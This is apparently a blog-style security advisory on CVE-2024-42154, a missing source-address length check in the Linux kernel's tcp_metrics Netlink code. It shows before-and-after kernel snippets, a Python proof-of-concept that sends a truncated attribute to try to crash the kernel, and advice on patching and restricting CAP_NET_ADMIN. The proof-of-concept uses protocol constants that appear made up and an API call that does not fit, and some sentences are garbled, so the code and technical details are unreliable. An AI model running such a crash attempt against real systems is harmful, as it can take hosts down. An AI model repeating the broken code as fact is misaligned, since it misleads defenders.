CVE-2024-42154 - Linux Kernel tcp_metrics Input Validation Flaw Explained

A new vulnerability, CVE-2024-42154, has been discovered and patched in the Linux kernel's handling of TCP metrics. Specifically, this flaw is about the improper validation of the source address length (saddr) in the tcp_metrics subsystem. This post will break down the bug, walk through the code, show a proof-of-concept exploit, and point you to more references to keep you informed and safe.

What is tcp_metrics?

The tcp_metrics kernel subsystem caches information about previous TCP connections ("metrics" like RTT, congestion window, etc.), indexed by the source and destination addresses and a few other parameters. User-space programs can access or update these metrics via Netlink messages.

The Problem

The kernel expected the attribute TCP_METRICS_ATTR_SADDR_IPV4 (a field for giving an IPv4 address) to be 4 bytes long. However, it wasn't verifying that user-provided data was actually this size. That means if someone sent a malformed Netlink message, the kernel could read out-of-bounds or simply behave unpredictably.

Where did it happen?

In the kernel source, the function that handles these messages was missing a length check for this attribute:

if (attrs[TCP_METRICS_ATTR_SADDR_IPV4]) {
    saddr = nla_data(attrs[TCP_METRICS_ATTR_SADDR_IPV4]);
    /* No length check here! */
}

So a userspace program could pass in a 1-byte or -byte attribute, ignored by upper policies — leading to unsafe reads.

The fix added this check

if (attrs[TCP_METRICS_ATTR_SADDR_IPV4]) {
    if (nla_len(attrs[TCP_METRICS_ATTR_SADDR_IPV4]) < 4)
        return -EINVAL;
    saddr = nla_data(attrs[TCP_METRICS_ATTR_SADDR_IPV4]);
}

Now, too-short or missing addresses are detected and rejected.

Vulnerable Versions

This bug was present in all actively maintained kernel branches until the patch landed in June 2024. To be safe, use kernels newer than 5.4.266, 5.10.205, 6.1.85, 6.6.25, or 6.9.6 (these are release numbers as of June 2024).

Exploit: Proof of Concept

You must have the CAP_NET_ADMIN capability or root to send these messages, but on some systems, unprivileged users (especially in containers) may have it.

Here’s an example using Python and pyroute2

from pyroute2 import NetlinkSocket
from pyroute2.netlink.nlsocket import NLM_F_REQUEST, NLM_F_ACK

# Netlink family for inet_diag/tcp_metrics
TCP_METRICS_FAMILY = 262  # see include/uapi/linux/netlink.h

# Netlink message type and attribute IDs
RTM_GETTCPM = 188
TCP_METRICS_ATTR_SADDR_IPV4 = 2

nl = NetlinkSocket()
try:
    # Craft a message with a broken SADDR (too short: only 2 bytes)
    attrs = [
        (TCP_METRICS_ATTR_SADDR_IPV4, b'\x7f\x00')  # Should be 4 bytes for 127...1
    ]
    nl.sendmsg(RTM_GETTCPM, TCP_METRICS_FAMILY, NLM_F_REQUEST | NLM_F_ACK, attrs)
    msg = nl.recv()
    print(msg)
finally:
    nl.close()

On a vulnerable kernel, this may cause a kernel crash or unexpected behavior (check dmesg). On a patched kernel, you would get EINVAL and no crash.


## How to Fix/Stay Safe

Update your kernel! Make sure you have at least the versions listed above.

- Restrict CAP_NET_ADMIN: Don’t let untrusted users have this capability, especially on shared systems.

Linux kernel patch:

tcp_metrics: validate source addr length (kernel.org)
- Red Hat CVE entry
- oss-sec mailing list discussion

Conclusion

CVE-2024-42154 is a good example of how even a small oversight in input validation can turn into a kernel bug. If you manage Linux servers or maintain a distro, patch now. If you run container hosts, double-check your kernel version. Tighten access to powerful capabilities like CAP_NET_ADMIN, and always keep your systems up-to-date.

Timeline

Published on: 07/30/2024 08:15:06 UTC
Last modified on: 08/08/2024 15:02:01 UTC